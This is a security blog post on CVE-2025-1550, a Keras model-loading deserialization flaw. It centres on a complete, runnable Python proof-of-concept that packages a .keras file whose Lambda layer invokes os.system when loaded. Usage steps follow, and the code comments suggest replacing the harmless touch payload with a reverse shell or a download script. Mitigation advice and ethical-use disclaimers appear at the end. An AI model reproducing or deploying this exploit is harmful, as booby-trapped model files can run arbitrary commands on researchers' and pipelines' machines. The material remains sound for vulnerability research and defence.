Keras Model Deserialization Remote Code Execution (CVE-2025-1550)

Keras Model Deserialization Remote Code Execution (CVE-2025-1550)

⚠ CVE CVE-2025-1550 Affects: https://keras.io/api/models/model/
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Proof of Concept available — Full exploit code on GitHub. Use in authorized environments only.
▷ View PoC on GitHub

Content *

Overview

A vulnerability tracked as CVE-2025-1550 affects Keras and environments using TensorFlow prior to security patches released in April 2025.

The vulnerability arises from unsafe deserialization when loading Keras models. A malicious .keras model file can embed executable objects that run automatically when the model is loaded.

This issue allows attackers to execute arbitrary system commands under the privileges of the Python process.


Affected Software

Vendor: Google

Affected components:

  • Keras ≤ 2.15
  • TensorFlow versions using unsafe deserialization paths

Affected environments typically include:

  • AI research environments
  • Machine learning pipelines
  • model deployment systems
  • Jupyter notebook environments

Technical Details

Keras models can be saved and loaded using the .keras file format. These files contain configuration data such as:

  • config.json
  • metadata.json
  • model weights

When loading a model using:

keras.models.load_model("model.keras")

the configuration is deserialized into Python objects.

The vulnerability occurs when a malicious function object is embedded in the model configuration, allowing the loader to call arbitrary functions such as os.system().

An attacker can abuse this behavior by defining a malicious Lambda layer that executes a system command during deserialization.


Proof of Concept (PoC)

The following Python script generates a malicious .keras model file designed to trigger command execution when loaded.

#!/usr/bin/env python3
# Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-09
# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# Type: Remote Code Execution (RCE)
# Platform: Python / Machine Learning (Keras)
# Author Country: Jordan
# Attack Vector: Malicious .keras file (client-side code execution via deserialization)
# Description:
# This exploit abuses insecure deserialization in Keras model loading. By embedding
# a malicious "function" object inside a .keras file (or config.json), an attacker
# can execute arbitrary system commands as soon as the model is loaded using 
# `keras.models.load_model()` or `model_from_json()`.
#
# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
#  Use only in safe, sandboxed environments!

#
# Steps of exploitation:
# 1. The attacker creates a fake Keras model using a specially crafted config.json.
# 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
# 3. When the victim loads the model using `load_model()`, the malicious function is executed.
# 4. Result: Arbitrary Code Execution under the user running the Python process.

# Affected Versions:
# - Keras <= 2.15
# - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
#

# Usage:
# $ python3 exploit_cve_2025_1550.py
# [*] Loads the malicious model
# [✓] Executes the payload (e.g., creates a file in /tmp)
#

#
# Options:
# - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
# - You may change this to: reverse shell, download script, etc.

# Example:
# $ python3 exploit_cve_2025_1550.py
# [+] Created malicious model: malicious_model.keras
# [*] Loading malicious model to trigger exploit...
# [✓] Model loaded. If vulnerable, payload should be executed.


import os
import json
from zipfile import ZipFile
import tempfile
import shutil

from tensorflow.keras.models import load_model


PAYLOAD = "touch /tmp/pwned_by_keras"

def create_malicious_config():
    return {
        "class_name": "Functional",
        "config": {
            "name": "pwned_model",
            "layers": [
                {
                    "class_name": "Lambda",
                    "config": {
                        "name": "evil_lambda",
                        "function": {
                            "class_name": "function",
                            "config": {
                                "module": "os",
                                "function_name": "system",
                                "registered_name": None
                            }
                        },
                        "arguments": [PAYLOAD]
                    }
                }
            ],
            "input_layers": [["evil_lambda", 0, 0]],
            "output_layers": [["evil_lambda", 0, 0]]
        }
    }

def build_malicious_keras(output_file="malicious_model.keras"):
    tmpdir = tempfile.mkdtemp()
    try:
        config_path = os.path.join(tmpdir, "config.json")
        with open(config_path, "w") as f:
            json.dump(create_malicious_config(), f)

        metadata_path = os.path.join(tmpdir, "metadata.json")
        with open(metadata_path, "w") as f:
            json.dump({"keras_version": "2.15.0"}, f)

        weights_path = os.path.join(tmpdir, "model.weights.h5")
        with open(weights_path, "wb") as f:
            f.write(b"\x89HDF\r\n\x1a\n")  # توقيع HDF5

        with ZipFile(output_file, "w") as archive:
            archive.write(config_path, arcname="config.json")
            archive.write(metadata_path, arcname="metadata.json")
            archive.write(weights_path, arcname="model.weights.h5")

        print(f"[+] Created malicious model: {output_file}")
    finally:
        shutil.rmtree(tmpdir)


def trigger_exploit(model_path):
    print("[*] Loading malicious model to trigger exploit...")
    load_model(model_path)
    print("[✓] Model loaded. If vulnerable, payload should be executed.")



if __name__ == "__main__":
    keras_file = "malicious_model.keras"
    build_malicious_keras(keras_file)
    trigger_exploit(keras_file)

How the Exploit Works

The proof-of-concept performs the following steps:

  1. Creates a malicious model configuration containing a Lambda layer.
  2. Embeds a function reference pointing to os.system.
  3. Packages the configuration into a .keras archive.
  4. When the victim loads the model using load_model(), the malicious command executes automatically.

Example payload used in the PoC:

touch /tmp/pwned_by_keras

This demonstrates successful code execution when the model is loaded.


Usage

Generate the malicious model:

python3 exploit_cve_2025_1550.py

The script will:

  1. Create a malicious file:
malicious_model.keras
  1. Load the model to trigger the payload.

If the system is vulnerable, the command embedded in the payload will execute.


Impact

Successful exploitation may allow attackers to:

  • Execute arbitrary system commands
  • Deploy malware within machine learning pipelines
  • Compromise AI training environments
  • Abuse ML model sharing platforms

This vulnerability is particularly dangerous for AI model marketplaces and shared ML repositories.


Mitigation

Recommended security measures include:

  • Update to patched versions of Keras and TensorFlow
  • Avoid loading machine learning models from untrusted sources
  • Implement sandboxing when evaluating third-party models
  • Use secure model serialization formats

Researcher

Security research conducted by:

Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴

GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security


Disclaimer

This proof-of-concept is provided for educational purposes and authorized security testing only. Unauthorized use against systems without permission is illegal.

Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.